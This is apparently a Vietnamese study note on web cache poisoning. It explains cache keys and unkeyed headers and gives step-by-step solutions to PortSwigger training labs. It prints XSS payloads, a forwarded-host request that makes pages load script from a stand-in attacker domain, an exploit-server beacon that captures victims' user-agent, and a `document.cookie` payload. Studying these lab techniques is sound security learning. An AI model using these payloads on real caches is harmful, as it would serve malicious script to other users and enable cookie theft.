---
# System prepended metadata

title: Web Cache Poisoning
tags: [Web]

---

# Web cache poisoning
## What is web cache poisoning?

`Web cache poisoning` là một kỹ thuật nâng cao, trong đó attacker lợi dụng hành vi của máy chủ web và cơ chế cache để một phản hồi HTTP độc hại được phục vụ cho những người dùng khác.

Về cơ bản, web cache poisoning gồm hai giai đoạn. Đầu tiên, attacker phải tìm cách khiến máy chủ back-end trả về một phản hồi chứa payload nguy hiểm một cách vô tình. Khi đã thành công, họ phải đảm bảo phản hồi đó bị lưu vào cache và sau đó được phục vụ cho các nạn nhân mục tiêu.

Một bộ đệm web bị đầu độc có thể trở thành phương tiện tàn phá để phổ biến nhiều dạng tấn công khác nhau, khai thác các lỗ hổng như XSS, chèn JavaScript, chuyển hướng mở (open redirection), v.v.

## Web cache
Web cache giúp giảm tải cho máy chủ và tăng tốc độ phản hồi. Nó nằm giữa người dùng và máy chủ, lưu lại phản hồi cho một số yêu cầu trong một thời gian nhất định. Khi có yêu cầu trùng lặp, cache sẽ trả về bản sao đã lưu mà không cần truy vấn lại máy chủ, nhờ đó hạn chế quá tải và giảm độ trễ.

![image](https://hackmd.io/_uploads/SJGaMCV2el.png)

## Cache keys
Khi nhận một HTTP request, cache cần xác định có phản hồi nào đã được lưu sẵn để trả về hay phải chuyển tiếp đến máy chủ. Để làm điều này, cache so sánh một tập hợp thành phần của request, gọi là **cache key** (thường gồm request line và Host header). Những thành phần không nằm trong cache key được gọi là **unkeyed**.

Nếu cache key của request mới trùng với một request trước đó, cache coi chúng tương đương và trả lại bản sao phản hồi đã lưu, áp dụng cho mọi request trùng key cho đến khi phản hồi hết hạn.

Điểm quan trọng là các thành phần khác của request sẽ hoàn toàn bị cache bỏ qua, và chính điều này có thể bị lợi dụng.
```
> GET /blog/post.php?mobile=1 HTTP/1.1
> Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
```
```
> GET /blog/post.php?mobile=1 HTTP/1.1
> Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
```

Ở ví dụ này, **cache key** giống giống nhau nhưng phần **unkeyed** khác nhau, nó có nghĩa là trang có thể được trả về bằng ngôn ngữ sai cho khách truy cập thứ hai. Điều này gợi ý ra vấn đề, bất kỳ khác biệt nào trong phản hồi gây ra bởi một đầu vào ở **unkeyed** có thể bị lưu và phục vụ cho người dùng khác.

## Cache Poisoning
Mục tiêu của web cache poisoning là gửi một yêu cầu khiến máy chủ trả về một phản hồi độc hại, phản hồi này được lưu vào cache và sau đó được phục vụ cho những người dùng khác.

![image](https://hackmd.io/_uploads/Bypp8C4nxg.png)

## Methodology

Cuộc tấn công **đầu độc bộ nhớ đệm web** dựa trên việc thao túng các **trường dữ liệu không khóa** (*unkeyed inputs*), như tiêu đề (headers), mà bộ nhớ đệm bỏ qua khi quyết định phục vụ phản hồi. Điều này cho phép attacker inject payload để kích hoạt một phản hồi bị "đầu độc." Nếu phản hồi này được lưu vào bộ nhớ đệm, nó sẽ được phục vụ cho tất cả người dùng khác có cùng khóa bộ nhớ đệm (cache key).

![image](https://hackmd.io/_uploads/BklL_A4nex.png)

### Các Bước Thực hiện

1.  **Nhận dạng Trường Dữ liệu Không Khóa:**
    * **Thủ công:** Thêm các trường dữ liệu ngẫu nhiên và quan sát xem chúng có ảnh hưởng đến phản hồi hay không (phản ánh, thay đổi phản hồi, v.v.). Có thể dùng Burp Comparer để so sánh.
    * **Tự động:** Có thể tự động hóa việc tìm các đầu vào **unkeyed** bằng cách cài extension **Param Miner** vào Burp từ BApp store. Để dùng Param Miner, bạn chỉ cần click chuột phải lên một request muốn điều tra và chọn **"Guess headers"**. Param Miner chạy nền, gửi các request chứa nhiều input khác nhau từ danh sách header tích hợp sẵn. Nếu một request chứa input chèn vào ảnh hưởng tới phản hồi, Param Miner sẽ ghi lại trong Burp — trong bảng **Issues** nếu bạn dùng Burp Suite Professional, hoặc trong tab **Output** của extension (**Extensions > Installed > Param Miner > Output**) nếu bạn dùng Burp Suite Community Edition.

Ví dụ, trong ảnh chụp màn hình dưới đây, Param Miner đã tìm thấy header unkeyed `X-Forwarded-Host` trên trang chủ của website.
![image](https://hackmd.io/_uploads/B1q8nAEhel.png)


2.  **Kích hoạt Phản hồi Độc hại:**
    * Sau khi nhận dạng, cần đánh giá cách máy chủ xử lý trường dữ liệu đó. Nếu nó được **phản ánh** mà không được làm sạch (sanitized) hoặc được dùng để **tạo dữ liệu động**, đó là điểm yếu tiềm năng.

3.  **Khiến Phản hồi được Lưu vào Bộ nhớ Đệm:**
    * Đây là bước then chốt. Việc lưu vào bộ nhớ đệm phụ thuộc vào nhiều yếu tố (phần mở rộng tệp, loại nội dung, mã trạng thái, v.v.). Cần thử nghiệm để tìm ra cách khiến phản hồi chứa mã độc được lưu lại.

---

**Lưu ý Quan trọng:** Khi kiểm tra trên trang web thật, luôn phải sử dụng **bộ phá bộ nhớ đệm** (*cache buster* - như một tham số duy nhất) trong yêu cầu để đảm bảo phản hồi độc hại **chỉ** được phục vụ cho bạn, tránh làm ảnh hưởng đến người dùng thực. Param Miner có tùy chọn tự động thêm bộ phá bộ nhớ đệm.

# Exploiting cache design flaws
## Delivering an XSS attack
Có lẽ lỗ hổng `web cache poisoning` dễ khai thác nhất là khi một **đầu vào unkeyed** bị reflected trong response **có thể bị cache** mà không được lọc đúng cách.

Ví dụ, xem request và response sau:

```
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />
```

Ở đây giá trị của header `X-Forwarded-Host` được dùng để sinh động một URL ảnh Open Graph và bị reflected trong response. Quan trọng là `X-Forwarded-Host` thường **không nằm trong cache key**. Trong ví dụ này, cache có thể bị đầu độc bằng một phản hồi chứa payload XSS đơn giản:

```
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
```

Nếu phản hồi này bị cache, tất cả người dùng truy cập `/en?region=uk` sẽ được phục vụ payload XSS này. Ví dụ trên chỉ khiến một hộp thoại cảnh báo hiện lên trong trình duyệt nạn nhân, nhưng một cuộc tấn công thực tế có thể đánh cắp mật khẩu hoặc chiếm đoạt tài khoản người dùng.

## Exploit unsafe handling of resource imports
Một số website dùng các header **unkeyed** để sinh động URL nhập tài nguyên, ví dụ file JavaScript được host ngoài. Trong trường hợp này, nếu kẻ tấn công thay giá trị của header tương ứng thành một domain do họ kiểm soát, họ có thể làm URL trỏ tới file JavaScript độc hại của mình.

Nếu phản hồi chứa URL độc hại này bị cache, file JavaScript của kẻ tấn công sẽ được import và thực thi trong phiên trình duyệt của bất kỳ người dùng nào có request trùng cache key.

```
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0

HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>
```
### LAB: Web cache poisoning with an unkeyed header
Thử gửi một request bất kì hai lần, ta thấy response header thay đổi như sau `X-Cache: miss` -> `X-Cache: hit` => Server có sử dụng cache, và bên cạnh đó còn dựa vào request header `X-Forwarded-Host` để tạo ra các resource 1 cách tự động

Dùng extension để check:
![image](https://hackmd.io/_uploads/HJbCEWrngx.png)

Bấm vào các request, ta thấy nó reflected host ở trong code javascript:
![image](https://hackmd.io/_uploads/ByuQFzS3ee.png)

![image](https://hackmd.io/_uploads/S1asKfrnlg.png)

![image](https://hackmd.io/_uploads/HJfqtzSnge.png)





## Exploit cookie-handling vulnerabilities
Cookie thường được dùng để sinh nội dung động trong phản hồi. Một ví dụ phổ biến là cookie cho biết ngôn ngữ ưa thích của người dùng, rồi dùng để tải phiên bản trang tương ứng:

```
GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close
```

Trong ví dụ này, phiên bản tiếng Ba Lan của bài blog đang được yêu cầu. Lưu ý rằng thông tin về phiên bản ngôn ngữ chỉ nằm trong header `Cookie`. Giả sử cache key chỉ chứa request line và header `Host`, nhưng **không** chứa header `Cookie`. Trong trường hợp đó, nếu phản hồi này bị cache, tất cả người dùng truy cập bài blog này sau đó cũng sẽ nhận được phiên bản tiếng Ba Lan, bất kể họ chọn ngôn ngữ nào.

Cách cache xử lý cookie như trên có thể bị khai thác bằng kỹ thuật web cache poisoning. Tuy nhiên trên thực tế, vector này ít gặp hơn so với việc đầu độc cache dựa trên header. Khi tồn tại lỗ hổng đầu độc cache dựa trên cookie, thường sẽ sớm bị phát hiện và khắc phục vì người dùng hợp pháp vô tình làm đầu độc cache.

### LAB: Web cache poisoning with an unkeyed cookie
Thử gửi một request bất kì hai lần, ta thấy response header thay đổi như sau `X-Cache: miss` -> `X-Cache: hit` => Server có sử dụng cache, và bên cạnh đó còn dựa vào request header `cookie` để thêm vào phần javascript nơi `head`

![image](https://hackmd.io/_uploads/SyplWXBhle.png)

![image](https://hackmd.io/_uploads/Bk46emHhlx.png)

## Using multiple headers
Một số website dễ bị khai thác bằng các exploit đầu độc cache đơn giản như ví dụ ở trên. Tuy nhiên, một số khác đòi hỏi phương pháp tinh vi hơn và chỉ trở nên dễ bị tấn công khi kẻ tấn công tạo được một request thao túng nhiều đầu vào **unkeyed** cùng lúc.

Ví dụ, giả sử một website yêu cầu giao tiếp bảo mật bằng **HTTPS**. Để thực thi điều này, nếu nhận được một request dùng giao thức khác, website sẽ động tạo một redirect về chính nó sử dụng HTTPS:

```
GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http

HTTP/1.1 301 Moved Permanently
Location: https://innocent-site.com/random
```

Hành vi này tự nó không nhất thiết là lỗ hổng. Tuy nhiên, khi kết hợp với kiến thức trước về việc URL được sinh động (dynamically generated) từ các đầu vào unkeyed, kẻ tấn công có thể lợi dụng để tạo ra một phản hồi có thể bị cache mà **chuyển hướng** (redirect) người dùng tới một URL độc hại.

### LAB: Web cache poisoning with multiple headers
Dùng extension check:
![image](https://hackmd.io/_uploads/BJSkFXB3xe.png)
Nếu set giá trị cho `X-Forwarded-Scheme` là bất kì thì server response với status 302 đến trang `https`
![image](https://hackmd.io/_uploads/SJW-YXS2xg.png)

![image](https://hackmd.io/_uploads/SkHo5mShxg.png)

![image](https://hackmd.io/_uploads/ByRFcmB2xg.png)



## Responses that expose too much information

**Các chỉ thị Cache-Control**
Một trong những thách thức khi thực hiện tấn công đầu độc web cache là đảm bảo phản hồi chứa payload độc hại **bị lưu vào cache**. Việc này thường đòi hỏi nhiều thử nghiệm thủ công để nghiên cứu hành vi của cache. Tuy nhiên, đôi khi phản hồi trả về sẽ tiết lộ một số thông tin mà kẻ tấn công cần để đầu độc cache thành công.

Ví dụ, phản hồi có thể cho biết tần suất cache bị xóa (purge) hoặc tuổi (age) của bản ghi đang nằm trong cache:

```
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
```

Mặc dù điều này không trực tiếp tạo ra lỗ hổng cache poisoning, nhưng nó giúp kẻ tấn công tiết kiệm công sức thăm dò thủ công vì họ biết chính xác khi nào nên gửi payload để đảm bảo nó được cache.

Thông tin này cũng cho phép các tấn công tinh vi hơn. Thay vì gửi rất nhiều request tới back-end cho tới khi một request bị lưu (điều có thể gây nghi ngờ), kẻ tấn công có thể **căn thời gian gửi một request độc hại duy nhất** để đầu độc cache.

**Header Vary**
Cách dùng thô sơ của header `Vary` cũng vô tình hỗ trợ kẻ tấn công. `Vary` chỉ định danh sách các header bổ sung cần được coi là một phần của cache key ngay cả khi chúng thường không được khóa (unkeyed). Ví dụ phổ biến là chỉ định `User-Agent` là một phần của cache key, để phiên bản mobile đã cache không bị trả về cho người dùng desktop.

Thông tin này có thể giúp xây dựng một tấn công nhiều bước nhằm nhắm tới một nhóm người dùng cụ thể. Ví dụ, nếu kẻ tấn công biết `User-Agent` là một phần cache key, họ có thể xác định user-agent của nạn nhân mục tiêu rồi tinh chỉnh payload sao cho chỉ những người dùng dùng user-agent đó bị ảnh hưởng. Hoặc họ có thể chọn user-agent phổ biến nhất để ảnh hưởng tới nhiều người dùng nhất.

### LAB: Targeted web cache poisoning using an unknown header
![image](https://hackmd.io/_uploads/S106EuBhxg.png)
Vào `GET /` dùng extension check có 3 thông báo

![image](https://hackmd.io/_uploads/H1Y3N_B3ee.png)
Mình test với `x-host` được còn với 2 cái kia thì không.
XSS thành công:
![image](https://hackmd.io/_uploads/r15aruH2lg.png)

![image](https://hackmd.io/_uploads/B1jrFuBngx.png)
![image](https://hackmd.io/_uploads/HyABKdBnlx.png)
Load lại trang vẫn đã XSS được.
Tuy nhiên đề bài còn yêu cầu inject đối với tệp người dùng nạn nhân, tức `user-agent`

Nhập comment và vào xem log:
`<img src="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/foo" />`
![image](https://hackmd.io/_uploads/SJR5cuShgl.png)

Copy vào `user-agent` tại burp-repeat và gửi lặp lại để `X-Cache: hit`

## Exploiting DOM-based vulnerabilities
Như đã nêu trước đó, nếu website dùng các header **unkeyed** một cách không an toàn để nhập tệp, kẻ tấn công có thể lợi dụng để buộc trang import một tệp độc hại. Tuy nhiên, điều này không chỉ áp dụng với các tệp JavaScript.

Nhiều website dùng JavaScript để lấy và xử lý dữ liệu bổ sung từ back-end. Nếu một script xử lý dữ liệu từ server không an toàn, điều này có thể dẫn đến nhiều lỗ hổng dựa trên DOM.

Ví dụ, kẻ tấn công có thể đầu độc cache bằng một phản hồi mà trong đó import một tệp JSON chứa payload như sau:

```json
{"someProperty" : "<svg onload=alert(1)>"}
```

Nếu website sau đó truyền giá trị của thuộc tính này vào một sink cho phép thực thi mã động, payload sẽ được thực thi trong ngữ cảnh phiên trình duyệt của nạn nhân.

Nếu bạn dùng web cache poisoning để khiến website tải JSON độc hại từ server của mình, bạn có thể cần cho phép website truy cập JSON đó bằng CORS:

```
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *

{
    "malicious json" : "malicious json"
}
```

### Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
Dùng extenssion check:
![image](https://hackmd.io/_uploads/BJ7PhPwnee.png)
Mình có thể thay đổi host
![image](https://hackmd.io/_uploads/SkTW6DD3lx.png)
![image](https://hackmd.io/_uploads/SJY4TDD3xg.png)

File `json` chứa:
```
{
    "country": "United Kingdom"
}
```

Hàm xử lí host:
![image](https://hackmd.io/_uploads/HJ726DPnex.png)

![image](https://hackmd.io/_uploads/HJcfeuDhlx.png)
`Cross-Origin Request`: Do domain khác domain trang đang chạy, trình duyệt sẽ áp dụng CORS. Server abc cần bật CORS thì fetch mới thành công: `Access-Control-Allow-Origin: *`

![image](https://hackmd.io/_uploads/H1Amedw2gl.png)

`div.innerHTML = 'Free shipping to ' + j.country;`
=> `<div>Free shipping to <img src=x onerror=alert(document.cookie)></div>`
## Chaining web cache poisoning vulnerabilities

Đôi khi kẻ tấn công chỉ có thể kích thích một phản hồi độc hại bằng cách tạo một request sử dụng nhiều header khác nhau. Điều tương tự cũng đúng với các loại tấn công khác. Web cache poisoning đôi khi yêu cầu kẻ tấn công phải xâu chuỗi nhiều kỹ thuật. Bằng cách kết hợp các lỗ hổng khác nhau, thường có thể lộ ra những lớp lỗ hổng bổ sung vốn ban đầu không thể khai thác được.

# Exploiting cache implementation flaws

## Lab: Web cache poisoning via an unkeyed query string
![image](https://hackmd.io/_uploads/ByKiB-Ynlx.png)
Khi thêm các tham số thì tùy ý thì vẫn load được, chứng tỏ chương trình không thêm tham số vào `cache key`

Khi `X-cache` là `miss` thấy reflected url:
![image](https://hackmd.io/_uploads/SkA9UWF2ge.png)

![image](https://hackmd.io/_uploads/H1-rwbK2eg.png)

## Lab: Web cache poisoning via an unkeyed query parameter

![image](https://hackmd.io/_uploads/SJj0K-Ynxg.png)

## Lab: Parameter cloaking

![image](https://hackmd.io/_uploads/Ski2ULt2ge.png)
![image](https://hackmd.io/_uploads/Sko0I8Yneg.png)

Từ hai hình trên có thể thấy được các param sẽ được include trong cache key ngoại trừ `utm_content`

![image](https://hackmd.io/_uploads/SJHg_IKnlx.png)

## Lab: Web cache poisoning via a fat GET request
![image](https://hackmd.io/_uploads/SJMU6IY2xl.png)

## Lab: URL normalization
Khi truy cập đến url không tồn tại:
![image](https://hackmd.io/_uploads/r1pXFDF2ge.png)
Thử khai thác chỗ này thì nhận được url encoding bởi trình duyệt
![image](https://hackmd.io/_uploads/rk2ptPYhxx.png)

Do đó ta cần lợi dụng cơ chế normalize cache key của cache server. Poison cache với burp repeater:
![image](https://hackmd.io/_uploads/S1tCDvt2xl.png)
Chuột phải -> chọn `show response on browser`
Hoặc `send repeater` rồi qua load lại url liền: `https://0a8d006f040670288111533c008c00b1.web-security-academy.net/abcd%3Cscript%3Ealert(1)%3C/script%3E`
![image](https://hackmd.io/_uploads/BJkVuvFhlg.png)

`send repeater` rồi submit liền url luôn là solved

## Lab: Internal cache poisoning
Dùng extension ta thấy `x-forwarded-hos` reflected vào url:
![image](https://hackmd.io/_uploads/B1Q4lOt2lx.png)

![image](https://hackmd.io/_uploads/H1pJZ_K2ex.png)
Ở đây để ý nếu ta send `GET /` thì giá trị của header được reflect trong response khi fetch `analytis.js`, tuy nhiên đối với `geolocate.js` thì vẫn giữ nguyên => chúng được cache bởi hai fragment khác nhau.

Tiếp tục send request, lúc này đã thành công thay đổi được hostname ứng với `geolocate.js`
![image](https://hackmd.io/_uploads/HkdWMuYhle.png)

![image](https://hackmd.io/_uploads/SJinQ_tnee.png)
![image](https://hackmd.io/_uploads/BJyAmdFnxl.png)

# References
https://portswigger.net/web-security/web-cache-poisoning

https://viblo.asia/p/web-cache-poisoning-reborn-by-james-kettle-yMnKMMXEK7P

https://portswigger.net/research/practical-web-cache-poisoning

https://portswigger.net/research/web-cache-entanglement